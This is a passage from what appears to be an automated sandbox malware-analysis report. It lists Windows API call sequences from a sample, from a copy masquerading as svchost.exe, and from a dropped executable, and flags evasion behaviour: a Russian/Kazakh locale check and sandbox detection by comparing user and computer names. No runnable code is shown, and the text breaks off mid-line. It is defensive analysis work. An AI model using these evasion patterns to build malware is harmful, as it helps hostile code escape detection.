Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C74920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,IsUserAnAdmin,IsUserAnAdmin,WriteFile,WriteFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-18h], 00000419h	2_2_02C74920
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01244920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,#680,#680,WriteFile,WriteFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-18h], 00000419h	6_2_01244920
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_01044920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,#680,#680,WriteFile,WriteFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-18h], 00000419h	7_2_01044920
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A24920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,#680,#680,WriteFile,WriteFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-18h], 00000419h	9_2_00A24920

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegCloseKey,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,	0_2_00403900
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: EntryPoint,LoadLibraryA,GetModuleFileNameA,ExitProcess,FindWindowA,GetTickCount,PostMessageA,IsUserAnAdmin,IsUserAnAdmin,ExitProcess,ExitProcess,IsUserAnAdmin,GetModuleHandleA,GetProcAddress,GetCurrentProcess,StrStrIA,GetCurrentProcessId,Sleep,StrStrIA,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,ExitProcess,	0_2_00402C10
Source: C:\Windows\apppatch\svchost.exe	Code function: RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegCloseKey,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,	2_2_00403900
Source: C:\Windows\apppatch\svchost.exe	Code function: EntryPoint,LoadLibraryA,GetModuleFileNameA,ExitProcess,FindWindowA,GetTickCount,PostMessageA,IsUserAnAdmin,IsUserAnAdmin,ExitProcess,ExitProcess,IsUserAnAdmin,GetModuleHandleA,GetProcAddress,GetCurrentProcess,StrStrIA,GetCurrentProcessId,Sleep,StrStrIA,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,ExitProcess,	2_2_00402C10
Source: C:\Windows\apppatch\svchost.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,	2_2_02C85890
Source: C:\Windows\apppatch\svchost.exe	Code function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,	2_2_02C77020
Source: C:\Windows\apppatch\svchost.exe	Code function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,	2_2_02C844F0
Source: C:\Windows\apppatch\svchost.exe	Code function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,	2_2_02C90BE0
Source: C:\Windows\apppatch\svchost.exe	Code function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,	2_2_02C92320
Source: C:\Windows\apppatch\svchost.exe	Code function: GetUserNameA,memset,InitializeCriticalSection,StrStrIA,	2_2_02C89860
Source: C:\Windows\apppatch\svchost.exe	Code function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,	2_2_02C8B810
Source: C:\Windows\apppatch\svchost.exe	Code function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,	2_2_02C911C0
Source: C:\Windows\apppatch\svchost.exe	Code function: CreateThread,StrStrIA,GetHandleInformation,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,CreateThread,wsprintfA,wsprintfA,wsprintfA,CreateThread,wsprintfA,	2_2_02C7C9F0
Source: C:\Windows\apppatch\svchost.exe	Code function: memset,VirtualQuery,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,	2_2_02C71180
Source: C:\Windows\apppatch\svchost.exe	Code function: memset,GetModuleFileNameA,StrStrIA,	2_2_02C91150
Source: C:\Windows\apppatch\svchost.exe	Code function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,	2_2_02C71670
Source: C:\Windows\apppatch\svchost.exe	Code function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,	2_2_02C8FFE0
Source: C:\Windows\apppatch\svchost.exe	Code function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,	2_2_02C8FDC0
Source: C:\Windows\apppatch\svchost.exe	Code function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,	2_2_02C92590
Source: C:\Windows\apppatch\svchost.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,CreateMutexA,GetLastError,	2_2_02C73510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,	6_2_01255890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,StrStrIA,	6_2_01261150
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,	6_2_01241180
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: CreateThread,StrStrIA,GetHandleInformation,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,CreateThread,wsprintfA,wsprintfA,wsprintfA,CreateThread,wsprintfA,	6_2_0124C9F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,	6_2_012611C0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,	6_2_01247020
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,	6_2_0125B810
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetUserNameA,memset,InitializeCriticalSection,StrStrIA,	6_2_01259860
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,	6_2_01262320
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,	6_2_01260BE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError,	6_2_01243510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,	6_2_01262590
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,	6_2_0125FDC0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,	6_2_012544F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,	6_2_0125FFE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,	6_2_01241670
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformatio